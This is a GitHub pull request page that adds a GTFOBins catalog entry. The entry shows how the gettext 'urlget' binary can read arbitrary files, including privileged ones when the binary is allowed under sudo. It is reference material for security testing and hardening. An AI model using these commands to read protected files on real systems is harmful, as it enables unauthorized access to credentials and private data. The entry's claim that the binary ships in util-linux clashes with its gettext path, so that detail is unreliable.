Skip to content

Add urlget.md #500

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
13 changes: 13 additions & 0 deletions _gtfobins/urlget.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,13 @@
---
functions:
file-read:
- description: It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system. The output might be corrupted or incomplete if the file does not follow the expected database format. Available in util-linux on CentOS, RHEL, Fedora.
code: |
LFILE=file_to_read
/usr/lib/aarch64-linux-gnu/gettext/urlget $LFILE $LFILE
sudo:
- description: If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.
code: |
LFILE=file_to_read
/usr/lib/aarch64-linux-gnu/gettext/urlget $LFILE $LFILE
---